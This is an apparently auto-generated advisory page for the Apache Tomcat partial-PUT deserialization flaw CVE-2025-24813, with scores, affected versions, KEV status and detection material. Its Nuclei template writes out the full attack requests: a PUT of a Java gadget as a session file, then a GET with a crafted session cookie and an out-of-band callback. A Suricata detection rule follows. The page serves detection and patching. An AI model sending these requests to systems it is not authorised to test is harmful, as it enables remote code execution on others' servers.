VULNpocalypse

CVE-2025-24813: Apache Tomcat Path Equivalence Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Path Equivalence: ‘file.Name’ (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads - attacker knowledge of the names of security sensitive files being uploaded - the security sensitive files also being uploaded via partial PUT If all of the following were true, a malicious user was able to perform remote code execution: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - application was using Tomcat’s file based session persistence with the default storage location - application included a library that may be leveraged in a deserialization attack Users are recommended to upgrade to version 11.0.3, 10.1.35 or 9.0.99, which fixes the issue.

Description quoted from the CVE record (assigned by apache, published 2025-03-10).

Weakness: CWE-44 Path Equivalence: ‘file.name’ (Internal Dot); CWE-502 Deserialization of Untrusted Data

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since
2025-04-01
US federal deadline
2025-04-22
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-02511, CNNVD-202503-1068, CNVD-2025-04973, EDB-52134, EUVD-2025-6498, GHSA-83qj-6fr2-vhqg, SNYK-AMZN2-TOMCAT-9599618, SNYK-CENTOS6-TOMCAT6SERVLET25API-9395474, SNYK-CENTOS8-PKISERVLET40API-9396648, SNYK-CENTOS9-PKISERVLETENGINE-9396724, SNYK-CENTOS9-TOMCATADMINWEBAPPS-9396726, SNYK-CENTOS9-TOMCATDOCSWEBAPP-9396722, SNYK-CENTOS9-TOMCATJSP23API-9396720, SNYK-CENTOS9-TOMCATLIB-9396730, SNYK-CENTOS9-TOMCATWEBAPPS-9396712, SNYK-DEBIAN13-TOMCAT9-9380727, SNYK-DEBIANUNSTABLE-TOMCAT10-9380734, SNYK-JAVA-ORGAPACHETOMCAT-9380766, SNYK-JAVA-ORGAPACHETOMCATEMBED-9396739, SNYK-RHEL8-TOMCATLIB-9680004

VEDAS cluster: VEDAS:ASHENCLOUD

Exploit Observer links 78 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (78)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (9)

Vulnerability databases and vendor advisories (35)

Catalogue entries, not exploit evidence.

835 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.999
very likely to be attacked soon
VEDAS
0.978
strong exploit evidence
On CISA KEV
Yes, since 2025-04-01
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1CVE-2025-24813 EPSS over time2025-042026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9CVE-2025-24813 VEDAS over time2025-042026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Apache Software Foundation Apache Tomcatfrom 11.0.0-M1 up to and including 11.0.2
from 10.1.0-M1 up to and including 10.1.34
from 9.0.0.M1 up to and including 9.0.98
from 8.5.0 up to and including 8.5.100		Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: apache tomcat, maven org.apache.tomcat.embed:tomcat-embed-core, maven org.apache.tomcat:tomcat-catalina.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Apache Tomcat - Insecure Deserialization

Path Equivalence: ‘file.Name’ (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (GET /, PUT /{{filename}}.session, GET /{{filename}}); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-24813.yaml
Show the template (64 lines)
yaml
id: CVE-2025-24813

info:
  name: "Apache Tomcat - Insecure Deserialization"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure
    and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat. This
    issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1
    through 9.0.98.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-24813&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=apache&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-24813
    cwe-id: CWE-44,CWE-502
  metadata:
    verified: false
  tags: cve,cve2025,apache,tomcat,rce,intrusive,kev,vkev,vuln
flow: http(1) && http(2)

variables:
  filename: "{{randbase(6)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: header
        words:
          - "Apache"
        internal: true

  - raw:
      - |
        PUT /{{filename}}.session HTTP/1.1
        Host: {{Hostname}}
        Content-range: bytes 0-452/457

        {{generate_java_gadget("dns", "http://{{interactsh-url}}", "raw")}}

      - |
        GET /{{filename}} HTTP/1.1
        Host: {{Hostname}}
        Cookie: JSESSIONID=.{{filename}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 201

CVE-2025-24813.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-24813 Apache Tomcat - Insecure Deserialization. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-24813 Apache Tomcat - Insecure Deserialization"; flow:established,to_server; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-24813; reference:url,https://www.exploit.observer/?keyword=CVE-2025-24813&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=apache&match=exact; sid:1011487; rev:1;)

CVE-2025-24813.rules on GitHub

Advisories on this CVE

References

Vendor advisories and patches

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.